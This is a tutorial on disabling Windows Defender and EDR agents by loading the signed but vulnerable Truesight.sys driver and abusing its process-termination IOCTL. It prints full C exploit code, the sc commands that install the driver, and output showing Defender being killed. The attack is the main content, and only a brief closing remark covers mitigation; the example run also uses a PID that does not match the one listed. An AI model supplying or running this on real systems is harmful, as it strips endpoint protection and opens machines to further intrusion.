Killing Protected Processes

This article is looking at terminating protected processes, such as those used by Anti-Virus and EDR agents.

Looking at the Windows Defender process (MsMpEng.exe) using Sysinternals Process Explorer, we can see it PPL Light protection enabled, since PsProtectedSignerAntiMalware-Light is listed in the protection column.

Even with administrative access to the host, you won’t be able to kill the process. When another process attempts to interact with the PPL protected process, the kernel will check the caller has an equal or higher protection level, and reject access if this isn’t the case.

To terminate these processes, we’re going to need access to the kernel.


Bring Your Own Vulnerable Driver (BYOVD) Attacks

BYOVD attacks occur when an adversary installs, and exploits a legitimate signed (but vulnerable) kernel mode driver. This provides the adversary with access to the systems kernel address space.

The loldrivers.io website provides a catalogue of known vulnerable drivers. We will be looking at the Truesight.sys driver that can be downloaded from here:

https://www.loldrivers.io/drivers/e0e93453-1007-4799-ad02-9b461b7e0398

On loading the driver, we can use SysInternals WinObj to determine it’s symbolic link (the handle we use to communicate with the driver). Unsurprisingly, it’s called “TrueSight”.

Open the vulnerable driver using Ghidra. Looking at the files imports, we can see it imports ZwTerminateProcess(). This is a kernel function for terminating processes.

Next, review the call tree for ZwTerminateProcess to determine where the code is being invoked from.

Navigating up the call stack, we can see values within the range of IOCTL’s, which then invoke the function calling ZwTerminateProcess.

An IOCTL of 0x22e044 would translate to the following:

DeviceType:  0x22     = FILE_DEVICE_UNKNOWN
Function:    0x811
Method:      0         = METHOD_BUFFERED
Access:      0         = FILE_ANY_ACCESS

In addition, we can infer from the code that the integer value being supplied to the function is likely the PID value to be terminated.

At this point, we know;

  • The device symbolic link (TrueSight)
  • The IOCTL that invokes ZwTerminateProcess (0x22e044)
  • The IOCTL parameter, which is just the PID to be terminated

With this information gathered, we can write a client to generate the IOCTL request.


Writing an Exploit

The following code will send our IOCTL request to terminate a process by it’s PID.

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FILE_DEVICE_UNKNOWN 0x00000022
#define METHOD_BUFFERED     0
#define FILE_ANY_ACCESS     0

#define IOCTL_KILL_PROCESS ((DWORD)0x22E044)

int main(int argc, char** argv) {
    if (argc != 3) {
        printf("Usage: %s <PID> <kill>\n", argv[0]);
        return 1;
    }

    char* endptr = NULL;
    ULONG pid = strtoul(argv[1], &endptr, 10);
    if (endptr == argv[1] || *endptr != '\0' || pid == 0) {
        printf("[-] Invalid PID: %s\n", argv[1]);
        return 2;
    }

    DWORD ioctlCode = 0;

    if (_stricmp(argv[2], "kill") == 0) {
       ioctlCode = IOCTL_KILL_PROCESS;
    }
    else {
        printf("[-] Invalid action: %s. Use 'kill'.\n", argv[2]);
        return 3;
    }

    printf("[+] Sending '%s' request for PID %lu to driver...\n", argv[2], pid);

    HANDLE hDevice = CreateFileA(
        "\\\\.\\TrueSight",
        GENERIC_WRITE | GENERIC_READ,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open device: %lu\n", GetLastError());
        return 4;
    }

    printf("[+] IOCTL code: 0x%08X\n", ioctlCode);

    DWORD bytesReturned = 0;
    BOOL success = DeviceIoControl(
        hDevice,
        ioctlCode,
        &pid,
        sizeof(pid),
        NULL,
        0,
        &bytesReturned,
        NULL
    );

    if (success) {
        printf("[+] IOCTL sent successfully to %s PID %lu\n", argv[2], pid);
    }
    else {
        printf("[-] DeviceIoControl failed: %lu\n", GetLastError());
    }

    CloseHandle(hDevice);
    return success ? 0 : 5;
}

Killing Defender

Start the vulnerable driver using the service control command.

C:\Windows\System32>sc create TrueSight type= kernel binPath= C:\Truesight.sys
[SC] CreateService SUCCESS

C:\Windows\System32>sc start TrueSight

SERVICE_NAME: TrueSight
        TYPE               : 1  KERNEL_DRIVER
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        PID                : 0
        FLAGS              :

Next, attempt to kill Windows Defender using taskkill, which as expected fails.

C:\Users\user\source\repos\Killer\x64\Release>tasklist | findstr /i eng
MsMpEng.exe                   3424 Services                   0    103,184 K

C:\Users\user\source\repos\Killer\x64\Release>taskkill /pid 3424
ERROR: The process with PID 3424 could not be terminated.
Reason: Access is denied.

Running our killer.exe application, we can see the process is terminated.

C:\Users\user\source\repos\Killer\x64\Release>Killer.exe 5352  kill
[+] Sending 'kill' request for PID 5352 to driver...
[+] IOCTL code: 0x0022E044
[+] IOCTL sent successfully to kill PID 5352

C:\Users\user\source\repos\Killer\x64\Release>tasklist | findstr /i eng

Note, that the process may be restarted by a watchdog. If this is the case, the image name will have a different PID. Normally, the watchdog will only restart the process a number of times before giving up.


In Conclusion

Microsoft do maintain a vulnerable driver blocklist for recent versions of Windows. However, this will only take effect if the system either has Hypervisor-Protected Code Integrity (HVCI) enabled, or a Windows Defender Application Control (WDAC) blocklist configured.